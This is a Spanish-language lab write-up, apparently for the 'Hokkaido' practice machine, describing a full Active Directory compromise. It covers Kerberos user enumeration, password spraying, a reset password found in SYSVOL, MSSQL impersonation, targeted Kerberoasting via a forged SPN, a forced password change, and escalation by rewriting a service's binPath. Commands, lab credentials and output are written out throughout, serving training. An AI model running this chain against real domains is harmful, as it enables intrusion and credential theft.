Hokkaido
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Cadena AD completa: user spray revelainfo/info, SMB dehomesguía a SYSVOL conpassword_reset.txt(Start123!) que se prueba contra la lista y validadiscovery, MSSQL conIMPERSONATEpara saltar ahrappdb-readery leersysauthconhrapp-service / Untimed$Runny, SPN forjado con bloodyAD sobreHazel.Greenque se craquea (haze1988), ForceChangePassword sobremolly.smith, RDP y una permisología incorrecta sobre el servicioAppReadinessque permite reescribir subinPathy añadirse al grupo Administrators.
Reconocimiento
Escaneo inicial
El escaneo de puertos combina un barrido UDP y un TCP completo:
ping -c 1 192.168.114.40 # ttl=125 → Windows
sudo nmap -sU --top-ports 1000 -Pn -n --open 192.168.114.40
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.114.40Los puertos UDP relevantes: 53 (DNS), 88 (Kerberos), 123 (NTP), 389 (LDAP). El TCP dibuja un DC completo con MSSQL Server 2019 (1433/58538) y el dominio hokkaido-aerospace.com:
53,80,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,8530,8531,9389,47001,49664-...El certificado de LDAP y el ms-sql-ntlm-info de 1433 dan el nombre completo antes de tocar nada: commonName=dc.hokkaido-aerospace.com, NetBIOS_Domain_Name: HAERO, NetBIOS_Computer_Name: DC. Ese nombre hace falta resolverlo en local, porque Kerberos y varias herramientas trabajan contra el FQDN y no contra la IP:
nano /etc/hosts
cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
192.168.114.40 dc.hokkaido-aerospace.comAcceso como info
Kerbrute + password spray
Sin credenciales, el primer paso es la enumeración de usuarios por Kerberos: el KDC responde distinto a un usuario que existe y a uno que no, y eso permite filtrar un diccionario enorme sin generar un solo intento de login fallido.
kerbrute userenum -d hokkaido-aerospace.com --dc 192.168.114.40 \
/usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt
Kerbrute (repo) devuelve muy poco: tres usuarios reales (info, administrator y discovery), repetidos con distintas combinaciones de mayúsculas porque el diccionario los trae escritos de varias formas y Kerberos no distingue mayúsculas en el nombre de cuenta. Con eso ya se corta el barrido:
Version: dev (n/a) - 03/23/26 - Ronnie Flathers @ropnop
2026/03/23 22:30:53 > Using KDC(s):
2026/03/23 22:30:53 > 192.168.114.40:88
2026/03/23 22:30:53 > [+] VALID USERNAME: info@hokkaido-aerospace.com
2026/03/23 22:30:58 > [+] VALID USERNAME: administrator@hokkaido-aerospace.com
2026/03/23 22:31:02 > [+] VALID USERNAME: INFO@hokkaido-aerospace.com
2026/03/23 22:31:18 > [+] VALID USERNAME: Info@hokkaido-aerospace.com
2026/03/23 22:31:35 > [+] VALID USERNAME: discovery@hokkaido-aerospace.com
2026/03/23 22:31:36 > [+] VALID USERNAME: Administrator@hokkaido-aerospace.com
^CCon una lista de tres nombres, el password spray más barato es probar cada usuario contra sí mismo (-u users -p users), el patrón clásico de cuentas de servicio recién creadas:
nxc smb 192.168.114.40 -u users -p users --continue-on-success
El único acierto de la pasada es info:info (el resto de combinaciones devuelven STATUS_LOGON_FAILURE):
SMB 192.168.114.40 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:hokkaido-aerospace.com) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.114.40 445 DC [+] hokkaido-aerospace.com\info:info
SMB 192.168.114.40 445 DC [-] hokkaido-aerospace.com\administrator:info STATUS_LOGON_FAILURE
SMB 192.168.114.40 445 DC [-] hokkaido-aerospace.com\discovery:info STATUS_LOGON_FAILURE
SMB 192.168.114.40 445 DC [-] hokkaido-aerospace.com\administrator:administrator STATUS_LOGON_FAILURE
SMB 192.168.114.40 445 DC [-] hokkaido-aerospace.com\discovery:administrator STATUS_LOGON_FAILURE
SMB 192.168.114.40 445 DC [-] hokkaido-aerospace.com\administrator:discovery STATUS_LOGON_FAILURE
SMB 192.168.114.40 445 DC [-] hokkaido-aerospace.com\discovery:discovery STATUS_LOGON_FAILURECon las credenciales, lo primero es sustituir la lista de tres nombres de kerbrute por la lista real del dominio. --users la saca de RPC y el awk se queda solo con la columna del nombre:
nxc smb 192.168.114.40 -u 'info' -p 'info' --users | awk '{print $5}' | tail -n +4 > users
cat users
De tres pasamos a la treintena larga de cuentas reales, con dos nombres que luego serán la cadena entera (Hazel.Green y Molly.Smith):
Administrator Charlene.Wallace Julian.Davies
Guest Cheryl.Singh Hannah.O'Neill
krbtgt Sian.Gordon Rachel.Jones
Hazel.Green Gordon.Brown Declan.Woodward
Molly.Smith Irene.Dean Annette.Buckley
Alexandra.Little Anthony.Anderson Elliott.Jones
Victor.Kelly Molly.Edwards Grace.Lees
Catherine.Knight Tracy.Wood Deborah.Francis
Angela.Davies Lynne.Tyler Bruce.Cartwright
Nigel.Brown
Derek.WyattY el mapa de shares:
nxc smb 192.168.114.40 -u 'info' -p 'info' --shares
SMB 192.168.114.40 445 DC [*] Enumerated shares
SMB 192.168.114.40 445 DC Share Permissions Remark
SMB 192.168.114.40 445 DC ----- ----------- ------
SMB 192.168.114.40 445 DC ADMIN$ Remote Admin
SMB 192.168.114.40 445 DC C$ Default share
SMB 192.168.114.40 445 DC homes READ,WRITE user homes
SMB 192.168.114.40 445 DC IPC$ READ Remote IPC
SMB 192.168.114.40 445 DC NETLOGON READ Logon server share
SMB 192.168.114.40 445 DC SYSVOL READ Logon server share
SMB 192.168.114.40 445 DC UpdateServicesPackages READ A network share ... published on this WSUS system.
SMB 192.168.114.40 445 DC WsusContent READ A network share ... on this WSUS system.
SMB 192.168.114.40 445 DC WSUSTemp A network share used by Local Publishing from a Remote WSUS Console Instance.Destacan homes (READ,WRITE) y SYSVOL (READ); el resto son shares por defecto o de WSUS.
homes: mucha promesa, cero contenido
homes es la que mejor pinta tiene: es la única con WRITE y guarda un directorio por usuario, o sea perfiles personales enteros al alcance de una cuenta de servicio.
smbclient -U 'info%info' //192.168.114.40/homes
dir
recurse ON
prompt OFF
mget *
El listado confirma veinte carpetas nominales, todas creadas de golpe el mismo día (Sat Nov 25 14:57:09 2023), que es la firma de un script de aprovisionamiento y no de gente usando su perfil:
smb: \> dir
. D 0 Mon Mar 23 22:41:25 2026
.. DHS 0 Mon Mar 23 21:55:18 2026
Angela.Davies D 0 Sat Nov 25 14:57:09 2023
Annette.Buckley D 0 Sat Nov 25 14:57:09 2023
Anthony.Anderson D 0 Sat Nov 25 14:57:09 2023
<SNIP>
Victor.Kelly D 0 Sat Nov 25 14:57:09 2023
7699711 blocks of size 4096. 1917512 blocks availableEl mget * recursivo baja la estructura sin quejarse, pero al mirarla en local se ve el problema:
ls -l
Veinte directorios de 4096 bytes, es decir, veinte directorios vacíos. No ha caído ni un fichero:
total 84
drwxr-xr-x 2 root root 4096 Mar 23 22:54 Angela.Davies
drwxr-xr-x 2 root root 4096 Mar 23 22:54 Annette.Buckley
drwxr-xr-x 2 root root 4096 Mar 23 22:54 Anthony.Anderson
<SNIP>
drwxr-xr-x 2 root root 4096 Mar 23 22:54 Victor.Kelly
-rw-r--r-- 1 root root 433 Mar 23 22:45 usersLa share sirvió para una cosa, confirmar los nombres de usuario con formato Nombre.Apellido, pero como fuente de secretos es un callejón sin salida. El permiso de escritura tampoco lleva a ninguna parte aquí: nadie ejecuta lo que se deje en un perfil ajeno.
SYSVOL - password_reset.txt
SYSVOL (donde el DC guarda GPOs y scripts de logon) es el vector clásico: se descarga recursivamente.
smbclient //192.168.114.40/SYSVOL -U info%info
recurse ON
prompt OFF
mget *
Entre lo que baja mget (deniega el listado de DfsrPrivate) aparece un fichero fuera de sitio en scripts\temp:
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \hokkaido-aerospace.com\DfsrPrivate\*
getting file \hokkaido-aerospace.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 ...
getting file \hokkaido-aerospace.com\scripts\temp\password_reset.txt of size 27 as hokkaido-aerospace.com/scripts/temp/password_reset.txt (0.2 KiloBytes/sec) ...
<SNIP>
smb: \> exitls -R | grep -i pass -C 1
cat ./scripts/temp/password_reset.txt
El fichero solo contiene la contraseña de reseteo inicial, Start123!:
./scripts/temp:
password_reset.txt
Initial Password: Start123!Un segundo spray con Start123! sobre la lista de usuarios reales valida discovery:
nxc smb 192.168.114.40 -u users -p 'Start123!' --continue-on-success | grep -vi failure
De toda la lista, solo discovery:Start123! sobrevive al grep -vi failure:
SMB 192.168.229.40 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:hokkaido-aerospace.com) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.229.40 445 DC [+] hokkaido-aerospace.com\discovery:Start123!Acceso como hrapp-service (user pivoting)
Rama descartada: kerberoast con discovery
Lo primero que se prueba con una credencial nueva de dominio es un Kerberoasting clásico, que solo necesita estar autenticado:
GetUserSPNs.py hokkaido-aerospace.com/Discovery:'Start123!' -request
Aparecen dos cuentas con SPN, las dos colgando de CN=services, o sea cuentas de servicio de manual:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
------------------------------------- ----------- -------------------------------------------------- -------------------------- --------------------------
discover/dc.hokkaido-aerospace.com discovery CN=services,CN=Users,DC=hokkaido-aerospace,DC=com 2023-12-06 15:42:56.221832 2026-03-24 23:20:02.557829
maintenance/dc.hokkaido-aerospace.com maintenance CN=services,CN=Users,DC=hokkaido-aerospace,DC=com 2023-11-25 13:39:04.869703 <never>
[-] CCache file is not found. Skipping...
$krb5tgs$23$*discovery$HOKKAIDO-AEROSPACE.COM$hokkaido-aerospace.com/discovery*$c2831919c231a0319c55a1238bc257b7$2e265f8db527b0bfeb0ed89b1c1bf8bc36ed1e611a3c6fc68bd4748<SNIP>La rama no avanza: el TGS de discovery es redundante (su contraseña ya la tenemos, Start123!) y el de maintenance habría que romperlo a ciegas sin ninguna pista de cómo es. Se aparca y se vuelve al inventario de puertos, donde queda un servicio grande sin tocar: MSSQL en 1433. El dato que sí se guarda de aquí es que discovery es una cuenta de servicio, lo que explica que tenga permisos raros en la base de datos.
MSSQL como discovery + IMPERSONATE
discovery puede autenticarse en MSSQL con autenticación Windows.
impacket-mssqlclient 'hokkaido-aerospace.com/discovery:Start123!@192.168.229.40' -windows-auth
El handshake conmuta a TLS y devuelve un prompt como HAERO\discovery sobre Microsoft SQL Server 2019 RTM (15.0.2000):
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (HAERO\discovery guest@master)> Enumeración de permisos: sys.server_permissions marca IMPERSONATE sobre hrappdb-reader. Con EXECUTE AS LOGIN se salta a esa identidad, algo típico de bases con roles cruzados donde una cuenta de solo-lectura puede leerse porque nadie miró ese permiso.
SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';
SELECT name, principal_id FROM sys.server_principals WHERE principal_id IN (267,268);
EXECUTE AS LOGIN = 'hrappdb-reader';
Con la nueva identidad, se explora hrappdb:
USE hrappdb;
SELECT table_name FROM information_schema.tables;
SELECT column_name FROM information_schema.columns WHERE table_name = 'sysauth';
SELECT * FROM sysauth;
-- id | name | password
-- 0 | hrapp-service | Untimed$Runny
Validar la credencial en todos los servicios
Lo que hay en la tabla es una contraseña de aplicación, no necesariamente una cuenta de dominio. Se comprueba lanzándola contra la lista completa de usuarios, primero en MSSQL y después en SMB:
nxc mssql 192.168.229.40 -u users -p 'Untimed$Runny' --continue-on-success | grep -vi failed
nxc smb 192.168.229.40 -u 'hrapp-service' -p 'Untimed$Runny' --shares
Es reutilización de credenciales de libro: la contraseña que la aplicación guardaba en claro en su propia base de datos es también la de la cuenta de dominio hrapp-service.
MSSQL 192.168.229.40 1433 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:hokkaido-aerospace.com) (EncryptionReq:False)
MSSQL 192.168.229.40 1433 DC [+] hokkaido-aerospace.com\hrapp-service:Untimed$Runny
SMB 192.168.229.40 445 DC [+] hokkaido-aerospace.com\hrapp-service:Untimed$Runny
SMB 192.168.229.40 445 DC [*] Enumerated shares
SMB 192.168.229.40 445 DC Share Permissions Remark
SMB 192.168.229.40 445 DC homes READ,WRITE user homes
SMB 192.168.229.40 445 DC NETLOGON READ Logon server share
SMB 192.168.229.40 445 DC SYSVOL READ Logon server sharePor SMB no gana nada: ve exactamente las mismas shares que info. Si esta cuenta vale para algo será por lo que pueda hacer dentro del directorio, y eso solo se ve mirando las ACL.
Acceso como Hazel.Green (BloodHound)
Recolección con bloodhound-python
BloodHound se alimenta por LDAP y le basta con cualquier usuario del dominio, así que la recolección se hace con info, la credencial más pobre que tenemos:
bloodhound-python -u info -p info -ns 192.168.229.40 --zip -c All -d hokkaido-aerospace.comAntes de tirar del grafo se puede sacar lo mismo a pelo, que además sirve para comprobar que la credencial lee el directorio: un ldapsearch con info vuelca los atributos de cada objeto del dominio.
ldapsearch -x -H ldap://192.168.114.40 -D "info@hokkaido-aerospace.com" -w 'info' \
-b "DC=hokkaido-aerospace,DC=com" | grep -iE 'userprincipalname' -C 15
objectGUID:: InwhUlSPsE+s6gnpAH4s2g==
userAccountControl: 66080
badPwdCount: 34
pwdLastSet: 133463540865654973
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAkqRcwCz3GTr5QghPUgQAAA==Sirve para confirmar el acceso, pero es inmanejable: son cientos de líneas por objeto y sin relaciones entre ellos. Para eso está BloodHound.

Siete segundos para todo el dominio, que es diminuto: 2 equipos, 34 usuarios, 62 grupos, 6 OUs y ningún trust.
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: hokkaido-aerospace.com
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.hokkaido-aerospace.com
INFO: Found 2 computers
INFO: Found 34 users
INFO: Found 62 groups
INFO: Found 2 gpos
INFO: Found 6 ous
INFO: Found 0 trusts
INFO: Done in 00M 07S
INFO: Compressing output into 20260324200425_bloodhound.zipEl zip se sube a una instancia de BloodHound CE levantada con bloodhound-cli, que monta la pila entera (BloodHound + PostgreSQL + Neo4j) con Docker Compose:
wget https://github.com/SpecterOps/bloodhound-cli/releases/download/v0.1.6/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
./bloodhound-cli installLa ruta completa en un grafo
Con hrapp-service como origen y molly.smith como destino, Pathfinding devuelve la cadena entera de una vez, y es toda de abuso de ACL: ni un exploit, ni un CVE, solo permisos mal puestos.

HRAPP-SERVICE ──GenericWrite──> HAZEL.GREEN ──MemberOf──> TIER2-ADMINS ──ForceChangePassword──> MOLLY.SMITHMerece la pena leer despacio la parte del medio, porque es la que se suele pasar por alto: Hazel.Green no tiene el ForceChangePassword a título personal. Lo tiene el grupo Tier2-Admins, y ella lo hereda por ser miembro. Las ACE se aplican a cualquier principal del token, así que una pertenencia a grupo aparentemente inocua arrastra todos los permisos del grupo.
El panel de abuso de GenericWrite ofrece dos caminos sobre Hazel.Green:
- Targeted Kerberoast, escribiendo un
servicePrincipalNameen la víctima para poder pedir su TGS. - Shadow Credentials con pyWhisker, escribiendo un
msDS-KeyCredentialLinkpara autenticarse como ella sin tocar su contraseña.
Se clonó pyWhisker por si acaso, pero al final no hizo falta: la contraseña de Hazel.Green resultó ser lo bastante mala como para que el kerberoast dirigido bastase.
bloodyAD - forzar un SPN y kerberoast
Es el patrón de Kerberoasting dirigido: se crea un SPN inventado en la víctima con bloodyAD, se pide su TGS con GetUserSPNs, y se craquea el hash offline.
La alternativa al SPN forzado, cuando el objetivo es directamente tomar la cuenta, es Shadow Credentials con pywhisker, que no viene en Kali y hay que clonar:
git clone https://github.com/ShutdownRepo/pywhisker
cd pywhisker
pip3 install -r requirements.txt --break-system-packages
Requirement already satisfied: impacket in /usr/lib/python3/dist-packages
Requirement already satisfied: cryptography in /usr/lib/python3/dist-packages
Requirement already satisfied: six in /usr/lib/python3/dist-packagesAquí se toma el camino del SPN forzado, que con GenericWrite es más directo:
bloodyAD --host 192.168.229.40 -d hokkaido-aerospace.com \
-u hrapp-service -p 'Untimed$Runny' \
set object Hazel.Green serviceprincipalname -v 'hello/world'
impacket-GetUserSPNs -dc-ip 192.168.229.40 \
'hokkaido-aerospace.com/hrapp-service:Untimed$Runny' \
-request -request-user "Hazel.Green"
john --wordlist=/usr/share/wordlists/rockyou.txt hash
bloodyAD confirma el SPN falso, GetUserSPNs lo emite como TGS (la cuenta pertenece a Tier2-Admins) y john lo revienta en dos segundos: haze1988.
[+] Hazel.Green's servicePrincipalName has been updated
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ----------- ------------------------------------------------------------ -------------------------- ---------
hello/world Hazel.Green CN=Tier2-Admins,OU=admins,OU=it,DC=hokkaido-aerospace,DC=com 2023-12-06 16:34:46.565497 <never>
$krb5tgs$23$*Hazel.Green$HOKKAIDO-AEROSPACE.COM$hokkaido-aerospace.com/Hazel.Green*$80a58caefb294817796412b3c2e97b3e$dfa7a21ba71c27961a33996034951d0058d21ca0db15b2b4103<SNIP>
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
haze1988 (?)
1g 0:00:00:02 DONE (2026-03-25 00:44) 0.5000g/s 3830Kp/s 3830Kc/s 3830KC/s hazizan..hayven1106Acceso como molly.smith
bloodyAD - ForceChangePassword sobre molly.smith
Con hazel.green en la mano se recorre el último tramo del grafo, el ForceChangePassword que hereda de Tier2-Admins. Se le cambia la contraseña a molly.smith sin conocer la anterior:
bloodyAD --host 192.168.229.40 -d hokkaido-aerospace.com \
-u hazel.green -p 'haze1988' \
set password molly.smith 'Start123!'
bloodyAD no pide la contraseña anterior y responde Password changed successfully!:
[+] Password changed successfully!RDP con la nueva contraseña:
xfreerdp /u:molly.smith /p:Start123! /v:192.168.229.40
1894735197269cab3896b04f89178d24 (local.txt)
Escalada de Privilegios
Subir accesschk: 2 KB que no eran un binario
La primera descarga sale de un gist que se llama windows_privesc y se guarda directamente como accesschk.exe:
wget https://gist.githubusercontent.com/sckalath/8dacd032b65404ef7411/raw/9149b02372d8ca903f03f2fe3bce3a2830981033/windows_privesc -O accesschk.exe
python3 -m http.server 80
El propio wget canta el problema en la línea del Content-Type, aunque el nombre del fichero de salida lo disimule:
HTTP request sent, awaiting response ... 200 OK
Length: 2138 (2.1K) [text/plain]
Saving to: 'accesschk.exe'
accesschk.exe 100%[========>] 2.09K --.-KB/s in 0s
2026-03-25 01:16:55 (49.5 MB/s) - 'accesschk.exe' saved [2138/2138]2138 bytes y text/plain: eso es una chuleta de comandos, no el ejecutable de Sysinternals. El curl en la máquina lo transfiere igual de contento (los 2138 bytes llegan enteros) y solo al ejecutarlo se ve que ahí no hay nada. Un Content-Length de 2 KB para un binario de Windows es la señal de alarma que ahorra ese rodeo.
La solución es sacar el binario de verdad de un repo que lo empaqueta:
git clone https://github.com/hansalemaos/accesschk2df
cd accesschk2df
ls
python3 -m http.server 80
$ ls
Eula.txt LICENSE README.MD __init__.py accesschk.exe accesschk64.exe accesschk64a.exe requirements.txt thirdparty.json
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.229.40 - - [25/Mar/2026 01:21:13] "GET /accesschk.exe HTTP/1.1" 200 -
192.168.229.40 - - [25/Mar/2026 01:21:31] "GET /accesschk.exe HTTP/1.1" 200 -
C:\Users\molly.smith\Desktop>curl http://192.168.45.164/accesschk.exe -o accesschk.exe
% Total % Received % Xferd Average Speed Time Time Time Current
100 1433k 100 1433k 0 0 3916k 0 --:--:-- --:--:-- --:--:-- 3917kCon el binario bueno en el directorio de herramientas, se sirve por HTTP y se baja desde la sesión RDP con curl, que en Windows 10 ya viene de serie:
python3 -m http.server 80curl http://192.168.45.164/winpeas.exe -o winpeas.exe
192.168.229.40 - - [25/Mar/2026 01:18:44] "GET /winpeas.exe HTTP/1.1" 200 -
C:\Users\molly.smith\Desktop>curl http://192.168.45.164/winpeas.exe -o winpeas.exe
100 1891k 100 1891k 0 0 5105k 0 --:--:-- --:--:-- --:--:-- 5097kAhí sí están los tres binarios de Sysinternals (32 bits, 64 bits e Itanium), y la transferencia pasa de 2 KB a 1433 KB, que ya es tamaño de ejecutable:
Eula.txt LICENSE README.MD __init__.py accesschk.exe accesschk64.exe accesschk64a.exe requirements.txt thirdparty.json
C:\Users\molly.smith\Desktop>curl http://192.168.45.164/accesschk.exe -o accesschk.exe
% Total % Received % Xferd Average Speed
100 1433k 100 1433k 0 0 3916kaccesschk - AppReadiness con SERVICE_ALL_ACCESS
Con el binario bueno se listan los objetos sobre los que molly.smith tiene escritura. La -c limita la búsqueda a servicios, -u calla los errores, -w filtra a permiso de escritura, -q quita el banner y -v detalla los permisos concretos:
accesschk.exe -cuwqv "molly.smith" * /accepteula
La salida es desconcertante la primera vez: no marca un servicio, marca decenas, todos con SERVICE_ALL_ACCESS.
Accesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2006-2022 Mark Russinovich
RW ADWS
SERVICE_ALL_ACCESS
RW ALG
SERVICE_ALL_ACCESS
RW AppHostSvc
SERVICE_ALL_ACCESS
RW AppIDSvc
SERVICE_ALL_ACCESS
RW AppReadiness
SERVICE_ALL_ACCESS
RW aspnet_state
SERVICE_ALL_ACCESS
<SNIP>Un permiso así de generalizado no es un servicio mal instalado, es alguien que ha tocado la ACL por defecto del SCM a nivel de máquina. Da igual cuál se elija mientras corra como LocalSystem, y AppReadiness es buen candidato: existe siempre en Windows Server, está parado casi todo el tiempo y nadie lo echa de menos.
sc qc AppReadiness
accesschk.exe -cuwqv "molly.smith" AppReadiness
sc qc cierra el caso: el servicio arranca bajo LocalSystem, así que cualquier cambio de BINARY_PATH_NAME se ejecuta como SYSTEM.
SERVICE_NAME: AppReadiness
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\System32\svchost.exe -k AppReadiness -p
DISPLAY_NAME : App Readiness
SERVICE_START_NAME : LocalSystem
RW AppReadiness
SERVICE_ALL_ACCESSSTART_TYPE: DEMAND_START es la guinda: el servicio está parado y se arranca a petición, así que podemos dispararlo nosotros sin esperar a un reinicio.
Lo delicado: no hace falta arrancar realmente el servicio. sc config reescribe el binPath, y al forzar un start (aunque falle con 1053 por timeout) el SCM ya ejecuta el comando como SYSTEM antes del control.
sc config AppReadiness binPath= "cmd /c net localgroup Administrators molly.smith /add"
sc stop AppReadiness
sc start AppReadiness
net localgroup administrators
El stop falla con 1062 (nunca estaba arrancado) y el start con 1053 (timeout), pero el SCM ya lanzó el binPath como SYSTEM antes de rendirse: net localgroup administrators muestra molly.smith dentro del grupo:
C:\Users\molly.smith\Desktop>sc config AppReadiness binPath= "cmd /c net localgroup Administrators molly.smith /add"
[SC] ChangeServiceConfig SUCCESS
C:\Users\molly.smith\Desktop>sc stop AppReadiness
[SC] ControlService FAILED 1062:
The service has not been started.
C:\Users\molly.smith\Desktop>sc start AppReadiness
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
C:\Users\molly.smith\Desktop>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
molly.smith
The command completed successfully.Estar en el grupo no es tener el privilegio
Aquí hay un detalle que atasca a mucha gente: la consola desde la que se lanzó el sc config sigue sin poder entrar en C:\Users\Administrator. La pertenencia a grupos se resuelve al iniciar sesión y se congela en el token del proceso; el token de esa consola se creó antes del net localgroup /add y no sabe nada del cambio. Hay que abrir un proceso nuevo elevado.
La consola nueva se abre desde el menú de inicio, con Run as administrator, que es lo que fuerza a Windows a construir un token elevado en vez de reutilizar el que ya había:


Y ahí se confirma que el cambio ha surtido efecto: UAC acepta a molly.smith del dominio HAERO como administrador válido para elevar. Antes del sc config esas mismas credenciales habrían sido rechazadas.

La barra de título dice Administrator: Command Prompt. El proceso es el mismo cmd.exe de siempre, pero su token ya trae el SID de Administradores habilitado.
Proof.txt

La comprobación va encadenada para que se vea de quién es la sesión: la flag se lee desde el escritorio del Administrador, pero whoami sigue devolviendo haero\molly.smith. No se ha robado la cuenta del administrador, se le ha dado a una cuenta normal el mismo nivel de acceso, que a efectos prácticos es lo mismo y deja mucho menos rastro.
C:\Users\Administrator>type Desktop\proof.txt && whoami && ipconfig && hostname
9d29b511b7336d70870d85d89ebc7b50
haero\molly.smith
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::a01b:1a46:acd2:d7c4%6
IPv4 Address. . . . . . . . . . . : 192.168.229.40
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.229.254
dcCadena de ataque
kerbrute -> info, administrator, discovery
└─ nxc spray users/users -> info/info
├─ homes (READ,WRITE) -> veinte directorios vacios [callejon sin salida]
└─ smbclient SYSVOL -> scripts/temp/password_reset.txt (Start123!)
└─ spray Start123! -> discovery
├─ GetUserSPNs -> discovery + maintenance [callejon sin salida]
└─ MSSQL windows-auth -> IMPERSONATE hrappdb-reader
└─ hrappdb.sysauth -> hrapp-service / Untimed$Runny
└─ BloodHound: GenericWrite sobre Hazel.Green
└─ bloodyAD set serviceprincipalname -> GetUserSPNs -> john -> haze1988
└─ Hazel.Green MemberOf Tier2-Admins
└─ ForceChangePassword sobre molly.smith -> Start123!
└─ RDP -> accesschk -> AppReadiness (SERVICE_ALL_ACCESS)
└─ sc config binPath -> Administrators += molly.smith
└─ consola elevada -> SYSTEMLecciones aprendidas
- La secuencia
kerbrute → spray usuarios/usuarios → SYSVOL → password_reset.txt → spray password inicial → siguiente usuarioes el bootstrap AD más frecuente. Merece la pena automatizarla. - SYSVOL es leído por cualquier usuario del dominio y a menudo contiene scripts de logon con secretos, GPP cpassword antiguos y ficheros temporales que se olvidaron ahí.
- La share con mejor pinta no es la que da el paso.
homestenía WRITE y veinte perfiles de usuario, y estaba vacía;SYSVOL, que es de solo lectura y la ve todo el dominio, guardaba la contraseña. Conviene vaciar las dos antes de decidir cuál era la buena. IMPERSONATEen MSSQL es una escalada horizontal casi olvidada: revisarsys.server_permissionsen cualquier engagement con acceso al SQL.- Una contraseña sacada de una base de datos hay que probarla contra el dominio entero, no solo contra la cuenta que la guardaba. Aquí
Untimed$Runnyera además la credencial de dominio dehrapp-service. GenericWriteno es una sola técnica sino un menú: permite escribir elservicePrincipalName(Kerberoasting dirigido) o elmsDS-KeyCredentialLink(Shadow Credentials). La primera depende de que la contraseña de la víctima sea débil; la segunda no depende de nada y funciona igual con una contraseña de 30 caracteres.- Leer el grafo entero, no solo las aristas de los extremos. El eslabón del medio en esta caja es un
MemberOf:Hazel.Greenno tenía ningún permiso sobremolly.smith, lo tenía su grupo. ForceChangePassword(oGenericAll) es el atajo AD por excelencia: si un usuario A puede cambiar la password de B, A es efectivamente B (con log de PasswordLastSet).accesschk -cuwqv <user> *es la primera pasada de post-explotación en Windows para localizar servicios con permisos incorrectos;SERVICE_ALL_ACCESSsobre un servicio enLocalSystemes SYSTEM inmediato consc config.- Añadirse a Administradores no eleva la sesión que ya se tiene: el token se construye en el logon. Sin abrir un proceso nuevo parece que el ataque ha fallado cuando en realidad ya ha funcionado.